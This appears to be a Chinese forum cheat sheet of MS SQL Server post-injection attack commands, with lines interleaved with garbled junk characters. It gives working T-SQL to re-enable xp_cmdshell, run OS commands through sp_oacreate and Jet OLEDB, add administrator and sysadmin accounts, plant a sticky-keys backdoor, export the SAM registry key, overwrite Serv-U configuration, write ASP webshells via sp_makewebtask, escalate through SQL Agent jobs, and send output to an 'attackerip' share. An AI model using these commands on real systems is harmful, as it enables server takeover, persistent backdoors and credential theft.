1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号- {/ F- ]+ N/ ~$ z& o. W* u
恢复方法:查询分离器连接后,
* }* u' R( _6 u1 \6 N第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int 5 ]" Z8 u, `& E9 o9 V- `3 T" C
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
: T. o9 A; H% a1 R' I8 Q6 e6 t/ j然后按F5键命令执行完毕
; Y; @ E7 {8 t7 M' r4 B! c" Y/ t8 C6 R
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
6 ^ x$ s9 l8 b' b2 n" W7 k恢复方法:查询分离器连接后,
/ H4 Z) t9 @8 ^! h1 d* i7 u! t9 b第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
( q1 {) X5 g# F* ] Q第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
) s7 o4 j+ X& |9 `2 {! n) K然后按F5键命令执行完毕2 ^9 z1 |5 z7 f! X/ [* r
" @/ h C5 _; b, G' ?" X
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)5 @7 U. F, H7 _/ l# F0 c
恢复方法:查询分离器连接后,
! ^5 l1 u1 f& b. Q% n! `! `. X8 [* N+ h第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
| b7 `% D5 c% o第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
" f' b5 e# I" z% a& o然后按F5键命令执行完毕0 ^# Z" V' A6 N( E' Q5 t
0 W6 t8 `' {) b1 S5 _6 B
4 终极方法.
/ I( B! a; k* o% U Y: e如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
; J" v& a+ Q/ ^查询分离器连接后,
$ F1 X0 ^4 w- {5 M/ H2000servser系统:8 d: d8 I, k8 _/ R5 [2 |
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add') w* j5 U8 \3 X$ P
8 S. I) m6 E" f! H9 O0 ?! A* sdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add', ?# }3 x, l; P' g/ t
1 j) {( T' b# G0 A) |* L
xp或2003server系统:
) G& x, Q* ~ w: D& p7 D, R* |' A& ] X: N3 W& Q4 O* K
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
: `9 o) K1 t* }' Q3 U
# L& b/ n0 Z3 I2 wdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'5 R7 T: x5 p, P' I
9 V+ m+ w( G# A& l! X$ ?( @
; m$ K* J3 u. d3 E% {# u五个SHIFT" T1 J) Z9 ^* o
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
# `6 s1 F7 F+ T$ U: t4 O6 e# |/ S' a. M' b$ z R
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; $ F. f* E* O* _4 Z
( Y. a1 t7 }3 _3 I/ {xp_cmdshell执行命令另一种方法/ ^) y/ p2 {' h) |0 F# d! Z8 r8 p
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' - B) l) H% O: t' G* k h( Z
& E6 C3 H! g1 z6 i7 k2 b* ]
判断存储扩展是否存在
" h! ~+ R5 ~3 S3 ^; K& ?; qSelect count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell') C- W( k, m1 _
返回结果为1就OK
' W6 e( ]% h& ~8 W1 K+ r* h# W( A2 U
8 `, x/ v) b4 _4 W, }上传xplog70.dll恢复xp_cmdshell语句:
9 v: a% R8 C# f; j: Nsp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'; d2 b4 A5 u# p4 t
% u% Q: G8 L) P; R0 x
否则上传xplog7.0.dll
H$ m3 d1 Q" vExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
2 _! P t6 \/ m0 u! Q/ S* _- Q- X
. v2 `7 }. U8 g2 i! q
% T# a1 t O- u. L2 [$ P3 {4 \* s- a% @9 h1 P
首先开启沙盘模式:6 Y" ?3 ]# q3 R! P
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
) S: b+ N) K0 H- w6 d; [0 e& ^' O% y' F* S# d& M+ L$ \, n9 W
然后利用jet.oledb执行系统命令% y8 Q5 K `+ g2 C
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
) d1 v2 X+ g. D& C: E( {返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了; [4 _- K! I' \, r( b
# S0 `; }; p! k" h% u; d
, e" ]1 _& N3 E3 t- y. u% I9 x" |: L& Z9 Q2 u$ j# `4 ~8 r
恢复过程sp_addextendedproc 如下:
1 p; F3 ?# [6 P! \# P8 N) I; Hcreate procedure sp_addextendedproc --- 1996/08/30 20:13
( c' `0 d# n* J; d. h* F@functname nvarchar(517),/* (owner.)name of function to call */ 9 t$ c! L1 G- H( R( s
@dllname varchar(255)/* name of DLL containing function */
: _& D% h* r' V1 |" G: |as 3 _0 m& O, y' X
set implicit_transactions off * ^1 M& p0 L0 X1 M6 V; K6 ?
if @@trancount > 0
3 P' ?6 O# K% r3 e7 Ubegin 2 G( W" y! {- u- H+ I, U; l7 a
raiserror(15002,-1,-1,'sp_addextendedproc')
( Y0 H0 H6 s: \7 Xreturn (1)
( D/ y' p3 ?6 r% p7 k. `end 2 @6 G0 [: `7 V. F H' Z3 B/ y2 i6 I
dbcc addextendedproc( @functname, @dllname)
9 w% u, q2 {. ^return (0) -- sp_addextendedproc
* {4 ~$ U: R2 ]8 P% @GO * X6 |! J1 b) q4 m3 X
9 T0 ]: `8 k5 }7 B" u7 u2 |9 r% G
3 [8 W( a6 E5 N& g) ~) L, Z
" c" {; r6 x& g4 p
导出管理员密码文件
6 u. A' ^( q* \, D4 Zsa默认可以读sam键.应该。
. h/ u( i+ x; i' ^reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg- p4 w ?+ g7 U; a! T
net user administrator test2 i+ h$ J. J4 a
用administrator登陆.( S: d+ U+ l$ ]0 V8 [) S( J
用完机器后- V6 u# {- K3 \; g+ c
reg import c:\test.reg8 L" @ X5 x% f6 k: R# t
根本不用克隆.: l; G; p Y0 B* C
找到对应的sid.
0 C. ^' A8 e. h4 z- P. @# H; Y+ H/ h, {4 {; x! V
/ x w B) | E4 W# ~0 y) ~
& ]' ] B' m: a' j/ Q# ~2 n5 x
恢复所有存储过程
% K6 J( N& i0 r6 M0 ?) Juse master
( _' d$ q3 E1 l! Qexec sp_addextendedproc xp_enumgroups,'xplog70.dll' 8 ~$ `8 s/ Z5 m# e
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
, E! V6 W; B E4 `6 u% E, Q7 Lexec sp_addextendedproc xp_loginconfig,'xplog70.dll' N% z0 Z% V! d; i9 W' w% ~
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' - J% P9 S) c* }4 h( N8 H
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
$ U2 p( Q& C; x( Cexec sp_addextendedproc sp_OACreate,'odsole70.dll'
/ j! o: y7 b8 H* xexec sp_addextendedproc sp_OADestroy,'odsole70.dll'
" h* h; ?- d% E& V. W: h5 U& }1 P4 Gexec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' 1 t+ \+ n6 ^) v% w$ {7 {( M e$ R
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' ! F7 u+ I) y, G8 U% f( e/ N) o
exec sp_addextendedproc sp_OAMethod,'odsole70.dll' 5 _+ l$ ^9 q/ q4 A x1 q+ Q
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
a8 \" c! `% S' ?exec sp_addextendedproc sp_OAStop,'odsole70.dll'
4 \5 ^2 `. F* H8 Qexec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
% u0 w' f3 J, dexec sp_addextendedproc xp_regdeletekey,'xpstar.dll' `2 j% H% d, K# j
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' 4 p- z& D5 ^! q, `8 @% e7 `
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll' : ^4 r+ P' g0 H: v5 \6 Z
exec sp_addextendedproc xp_regread,'xpstar.dll' 1 _6 r9 G! h# x; T
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' - X: ]7 z: }" Z0 m
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
, M0 S; _. A4 z* ` ~9 uexec sp_addextendedproc xp_availablemedia,'xpstar.dll'' e! \9 _" p* Y+ l0 q+ r
1 w# W! p9 p2 G' ?! _+ O! U, Q- E# D% r
建立读文件的存储过程
: ^) i& z8 { nCreate proc sp_readTextFile @filename sysname, o( @: ~$ R8 E
as
w6 m0 C6 {+ g9 G; m, y3 o& D
4 t# \7 B; E( P6 M) A( }' c begin
. x: w* [; m2 @0 S* c Z set nocount on
8 A1 n: A" D3 F# k) w Create table #tempfile (line varchar(8000))! p, B" Y# ~+ g& e5 H4 |
exec ('bulk insert #tempfile from "' + @filename + '"')
* [. \7 D" O& c: B, x select * from #tempfile6 m8 ~! ^/ T& T
drop table #tempfile
3 E8 e* a2 o' M9 ^End+ \5 Y- z1 H) d7 Q
# p7 c2 f) w; v5 m9 ? ~+ c9 l/ |
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件, g" j7 r1 j& u, B
查看登录用户
' ~* b: x5 D P7 Y, cSelect * from sysxlogins
' R/ D8 ?; l/ V
- j2 n8 X' L: `/ f把文件内容读取到表中) R& | I4 F0 E; s
BULK INSERT tmp from "c:\test.txt"9 ^+ e0 z0 X A* N; \: H1 h8 U2 k/ ~
dElete from 表名 清理表里的内容
8 I, v+ c% j$ Z" ^8 m$ J; wcreate table b_test(fn nvarchar(4000));建一个表,字段为fn
1 e/ W1 p" u2 i; [3 x
5 c H/ r9 } ^0 |5 ]0 R/ c6 P; x; c( C" o/ q2 {7 ?; i7 e3 T
加sa用户
- Y7 B: A* R) j6 p1 Y9 [- kexec master.dbo.sp_addlogin user,pass;: P: i' b$ @( y' N5 o
exec master.dbo.sp_addsrvrolemember user,sysadmin9 ~$ d/ f3 s# ^% W( m' |3 b! _
; |- ~4 w" q) S5 G$ r' @0 R7 {- d- R& ?2 e( C1 v
: P( u. }. J: k, L ]) Q& [读文件代码
" l3 A* Z7 V/ K0 wdeclare @o int, @f int, @t int, @ret int
: E. h: n6 B0 T! |) xdeclare @line varchar(8000)( e) f, ^0 f2 i4 `; ]3 l5 z2 _
exec sp_oacreate 'scripting.filesystemobject', @o out
0 p u& c) |/ ^8 g$ A( K% Q5 texec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
: I/ M: h& f- g' mexec @ret = sp_oamethod @f, 'readline', @line out
* e. Z- K& `7 @6 g; z$ Lwhile( @ret = 0 )/ r$ P+ b; e5 D& z6 I0 _2 r
begin
2 E5 t* j! s& R Mprint @line
+ j# }/ a( ?! F2 zexec @ret = sp_oamethod @f, 'readline', @line out
5 g2 i) H( Q! i2 s u: f8 Y1 aend
" ?" P2 Z! |8 _+ s0 E5 [8 l- M' n1 D3 n( e
' ^ y( V5 d: a+ I; M5 r
写文件代码:# A7 e) B! ^% d. R
declare @o int, @f int, @t int, @ret int
3 h8 k% s9 l L" N6 V' U1 lexec sp_oacreate 'scripting.filesystemobject', @o out2 ]+ |' V- ^( R% `& I6 d1 u0 |
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
5 X0 E1 E9 C9 i6 Iexec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
% p6 J+ D1 l6 ~% Z! B$ y; k6 N3 H" ?( O0 R
" Z) Q. Q( `/ N/ m5 ]# w添加lake2 shell6 r5 |0 z% U+ n3 A, }5 M
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
/ n4 w0 Y$ T, P; |0 Hsp_dropextendedproc xp_lake2
0 S( m5 ^1 r( j M* l0 {EXEC xp_lake2 'net user' N/ I7 ]0 H, _# u( x: Q
3 @# m$ k" c$ g8 c
7 z$ {% e% m: ]& v" s" ?8 l& r" R' B' J
得到硬盘文件信息 % h9 I2 V$ l3 x" n$ S
--参数说明:目录名,目录深度,是否显示文件 . j3 ?# I& u, g v
execute master..xp_dirtree 'c:' * e+ q- f" b% u* d
execute master..xp_dirtree 'c:',1
; {" e0 x( |4 Q G% bexecute master..xp_dirtree 'c:',1,1 ( j* B0 V! v! `( M& f; J
7 x q: I& g1 R9 f4 h8 R# M- A% Z+ K0 \
读serv-u配置信息8 A2 p! |5 o, l6 G( _1 ^" p$ D
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
: C9 [5 h( M% W4 Y/ q1 Q/ Sexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'( h: i; p) i9 ~3 T& P; [
; A, \# S- f* @9 v
通过xp_regwrite写SHIFT后门
3 x4 i$ Z/ a6 s2 X: v8 P, g3 nexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--$ r; K% g$ ?6 n" `" I4 B7 u0 d
* o* h+ o6 i7 K# z) r
6 E4 y3 S8 R" b, w3 t Q
+ ?, `% L0 c# n {找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
$ F% x7 V/ }! \) Mexec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了8 z% j' k" \/ o3 X
5 a% p6 Q! s8 C8 X5 E: B
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'- l0 Q* `/ G0 W! I# Q! a4 j
9 O0 _; _0 L7 z" c1 S! w' F D# ]$ ^! w5 B' y" ~+ R
5 T! x3 b0 l! I( n c
sql server 2005下开启xp_cmdshell的办法* V$ O5 j- J4 R6 f1 U
/ |9 K& ^( W/ U' }0 ^5 D& i% C
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;7 @- H! U6 B3 r* a
$ Y2 l3 T9 n2 Y- {
SQL2005开启'OPENROWSET'支持的方法:
1 U! Y8 @% _9 u D& u0 J; ?; ?
) {, _" X4 A4 @6 P* U! oexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;$ m. k- ]( Z4 f! H# w
) ^ z( e" I$ M$ Z$ X* Z" x! u4 P) H+ b
SQL2005开启'sp_oacreate'支持的方法:
6 i# I( B' J0 ~, K$ K$ M6 _% n1 N: A% j* g4 r7 t1 c
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
* d u) y) ~% l
0 U: {3 l8 P) m) ^* v" u5 a4 z8 t6 g0 }: ?) i- [+ M
8 C( F K; P' M: \4 J& S
0 v% Q, h% ]3 i+ j4 m9 v) I6 u, |( m l7 ]& W. H
2 h6 I4 X) J8 N; j. h. J5 @
# l- U+ C& C& |% L, f4 ?4 U# j
. z) n" p3 }* k+ i0 M0 w' Z
4 ]3 g! z; k. m' a$ } b
6 K4 a' ?% T; |) o# l8 a
7 \. y }( P/ T4 F% n# v( v! c* U3 r' L/ u/ N& @
2 G$ L& i# x2 ~" x) m1 [2 h3 O& c
9 {2 p( F" Q( c/ O2 a8 r9 n
. C/ t- f i, F3 E6 r
# g3 D' @) ] h3 j7 n4 P8 w6 _" P2 O& c( H0 S
; P+ Y7 Z4 t% y* g# ?6 v& C( j" d) l! D+ ^0 l4 V: K2 o
% w; }% S9 Q, \
8 n; t0 L5 O0 U) ^6 r% Z6 M% N6 X) B. ^* r) B& d. o6 X" y
0 b/ w" _; B* U! {) w
以下方面不知道能不能成功暂且留下研究哈:
9 F; g. K2 v1 _; D8 x4); y5 w9 L+ r. I- P' M8 O9 [
use msdb; --这儿不要是master哟: t. I; C% }+ `' P d+ m
exec sp_add_job @job_name= czy82 ;
! O# C9 j( J& d! X7 rexec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
# }9 W( Q+ ^ E1 b# K X4 H5 ?exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
8 D' I7 I2 m7 Z7 w4 V3 A( nexec sp_start_job @job_name= czy82 ;, T/ T; q- S2 _8 ?
v$ i5 L. @5 O0 I0 ^0 _# ~
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以& o! T1 K0 C; x; j) s' ~/ F1 D
执行tsql语句了.
5 f" V5 X2 K5 @7 ]对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
, j# A }9 |" @4 _' j0 z" T+ W第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧): ~0 `; |1 A+ o I* z" u; X" ?
net start SQLSERVERAGENT
# r( c. y% E8 @$ i! v2 g5 v/ b
3 X, f* Q' {; n9 d4 t5 K, [( f对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
' x5 ?; \- t& G' { ^1 @USE msdb
- a% @+ r+ h$ E( EEXEC sp_add_job @job_name = GetSystemOnSQL ,! O4 t" f/ ^( s5 C
@enabled = 1,
3 t- H$ p O6 d@description = This will give a low privileged user access to
5 P. b& x* e0 v0 axp_cmdshell ,
# p# r" D1 {8 H6 }) ~@delete_level = 1! C4 V- m3 ]( B2 O" M' J3 a
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,' K$ T" C" |* z+ \' x
@step_name = Exec my sql ,% b- u2 L7 Z: | W3 H' o
@subsystem = TSQL ,
* W# j w# m5 t; y+ a@command = exec master..xp_execresultset N select exec, B; u8 F3 M/ ]6 s# f
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master , R) n/ |( V( k; w0 m4 V) c' w
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
$ m- i Z0 S/ Y* L1 W@server_name = 你的SQL的服务器名 5 d4 h7 ^# F* f- \+ ?3 C' S
EXEC sp_start_job @job_name = GetSystemOnSQL 8 l9 L9 V$ u/ r
5 z. B9 [# A: O7 r) @) R不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
! o$ ]5 w) |# z5 j) H/ H9 Z) W才让我们可以以public执行xp_cmdshell
5 R$ x% s3 z0 [, i/ ?- E6 t+ W$ t/ F( x" z" c
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)" L f. ?: n' h }: T& X
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968* x) ~8 `, i9 O- f; s% O, P6 [: j
9 }. w& p% Z% @0 O h* @; nUSE msdb
2 D+ y- O, K6 r( `4 o( Q0 mEXEC sp_add_job @job_name = ArbitraryFilecreate ,/ E$ A. P2 f+ Z2 x8 W
@enabled = 1,* E' J0 U. n4 w
@description = This will create a file called c:\sqlafc123.txt ,) a0 T0 G% U* T; N5 e5 D( ^- R
@delete_level = 1
8 g% [2 L! o9 l) [# ~* qEXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
Z0 h0 ^8 y- P0 W@step_name = SQLAFC ,) q) Q. X4 @3 [- I
@subsystem = TSQL ," q: \' C6 O7 n* L+ U: y
@command = select hello, this file was created by the SQL Agent. ,
3 C- v. J' h+ z6 J: g- T; ~7 j; q@output_file_name = c:\sqlafc123.txt 9 K$ y d% i5 O9 {5 G
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
0 S3 [$ R- j. ]( ~5 D) d@server_name = SERVER_NAME 2 i c; b: K1 o$ F4 l8 ~. H8 K# V
EXEC sp_start_job @job_name = ArbitraryFilecreate
; z# Q1 r L6 m4 T: ]( Z$ s- {
如果subsystem选的是:tsql,在生成的文件的头部有如下内容
, O! z' [5 w3 s1 V0 h3 ^+ @; ~" {3 X- ~ w# D; B; g
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19! w$ G' U9 C" g1 E, J Z$ L# w# E! G
----------------------------------------------- t! p9 X1 u9 D9 R
hello, this file was created by the SQL Agent.
- F: \, d# M$ C$ h
) b) L% Y/ s2 Z3 ?" O& `$ p(1 ?????)' }# @( K& M3 j' m2 a/ J3 @9 \' Y
/ \/ g$ S/ U2 b6 ^" k+ K
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员3 p+ f7 [/ U- @
命令的vbs文件到启动目录!0 G. @, E5 Z$ `: q$ M* E& ]
- }* f6 u, I! A: ~6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
5 e$ P8 }3 c0 F1 e& {8 G关于sp_MScopyscriptfile 看下面的例子' ?: E4 P$ y1 m
declare @command varchar(100) + }0 L, W) n, h+ X$ S7 n6 ?* n d
declare @scripfile varchar(200)
- T h- ?) Q. Z/ f9 ?3 Uset concat_null_yields_null off O' }( k& J) e3 E* U
select @command= dir c:\ > "\\attackerip\share\dir.txt"
+ \5 g1 n T0 v7 f4 vselect @scripfile= c:\autoexec.bat > nul" | @command | rd " + ~$ t! {1 Z) M3 T
exec sp_MScopyscriptfile @scripfile , ( S0 Q y% D, P! S
4 \7 [6 m/ H7 N: B6 z
这两个东东都还在测试试哟
/ x' {) T& l, V0 ~: B让MSSQL的public用户得到一个本机的web shell / }9 w9 T D. k) [
\# ~- {' o usp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,$ c. u* ^, w" k3 E* m f. [7 G$ U
--@query= select <img src=vbscript:msgbox(now())>
) v+ q% H2 }. b/ @% C8 N4 V0 T--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
- S+ Q J; H& C8 l- a5 D! X3 |9 J@query= select / v: H) t( ]" F
<%On Error Resume Next
) A/ o: |& D WSet oscript = Server.createObject("wscript.SHELL") , @) @6 Z: _, T0 j
Set oscriptNet = Server.createObject("wscript.NETWORK")
& i' }. b+ u, \+ [9 b; I1 c9 q2 KSet oFileSys = Server.createObject("scripting.FileSystemObject")
" u7 X6 a& c& b1 I9 t0 yszCMD = Request.Form(".CMD")
) Q; n: ~; C f8 R, j0 nIf (szCMD <>"")Then $ M, F+ `- N9 g
szTempFile = "C:\" & oFileSys.GetTempName()
" Q. n( D( B7 i' U! ACall oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
% _3 A5 E) C- I. @- r# ?4 ]; sSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) 8 O4 [ s+ q# j q; }" S
End If %> ( k3 l) D1 K, q# w! Y$ Y/ _
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method=" OST">
9 X6 @/ X, s8 _7 @: z7 ?6 K( c- _<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
' E( |6 ]4 L1 U3 I2 N$ f2 b: M# {</FORM>< RE>
8 J- U9 k7 _( Z/ v+ O. D4 Z<% If (IsObject(oFile))Then & \! `9 W Y6 J$ N( l8 S" u
On Error Resume Next 2 R3 G( r+ ?; E, l3 ]
Response.Write Server.HTMLEncode(oFile.ReadAll) 9 b7 k: g1 M6 L1 Z9 _
oFile.Close
4 p# m" c1 t. }; z- u; W2 kCall oFileSys.deleteFile(szTempFile, True)
3 d5 B z: D" h' R+ `6 @; D* j, PEnd If%> + B: j, k8 r( p/ z ?4 f" c5 h8 v
</BODY></HTML>
" s( k V' r& V7 ^, q' b |